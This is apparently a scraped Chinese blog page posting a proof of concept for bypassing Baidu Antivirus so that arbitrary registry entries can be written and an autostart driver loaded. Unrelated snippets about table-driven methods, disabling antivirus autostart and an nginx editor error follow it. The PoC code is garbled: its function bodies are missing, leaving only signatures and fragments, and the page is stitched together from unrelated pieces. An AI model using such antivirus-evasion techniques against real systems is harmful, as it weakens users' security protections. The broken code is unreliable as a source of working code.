再再繞百度防毒任意載入驅動 POC

2021-12-30 10:59:54 字數 689 閱讀 2933

其實這次還是規則的問題,只是呢,和第一次繞的不同之處在於,這個規則不在baidusd.exe觸發了,很可能是「半白名單」的系統程序裡.  

其實標題應該改為任意寫登錄檔,這裡我寫了自啟動驅動的登錄檔

前提是得先掛全域性鉤子

不廢話見poc

bool enabledebugpriv(lpctstr lpname)

while(false);

if(htoken != null)

closehandle(htoken);

return bret;

}bool dumpreg(hkey hkey,lpcstr lpsubkey,tchar szfilepath[max_path])

while(false);

if(hcur)

regclosekey(hcur);

return bret;

}bool restorereg(hkey hkey,lpcstr lpsubkey,tchar szfilepath[max_path])

while(false);

if(hcur)

regclosekey(hcur);

return bret;

}int main(int argc, char* ar**)

修復方案:

犧牲點使用者體驗吧

表驅動(百度百科)

一,什麼是表驅動 出處 大全 對軟體感興趣者,此書值得一看 表驅動,又稱之為表驅動法 表驅動方法。表 是幾乎所有資料結構課本都要討論的非常有用的資料結構。表驅動方法出於特定的目的來使用表,程式設計師們經常談到 表驅動 方法,但是課本中卻從未提到過什麼是 表驅動 方法。表驅動方法是一種使你可以在表中查...

百度防毒怎麼設定取消開機後自動啟動

電腦中安裝了防毒管理軟體,在每次開機後,程式會自動執行啟動。那麼,我們需要設定防毒軟體取消自動啟動執行應該怎麼做呢?一起來看看吧!一 開啟電腦中安裝的防毒程式主介面。如圖所示 二 在開啟的防毒程式主介面視窗,點選 選單 工具按鈕。如圖所示 三 在彈出的選單選項框中,點選 設定中心 選項。如圖所示 四...

CMS後台無法載入百度編輯器

cms系統剛開始執行無異常,可以編輯文件,在經過一段時間後,開啟後台文件編輯器時,發現編輯器無法載入,按f12發現 net err incomplete chunked encoding 200的錯誤。查閱資料發現,這應該是nginx配置檔案的問題 修改nginx的配置檔案,修改下面幾項配置的值 p...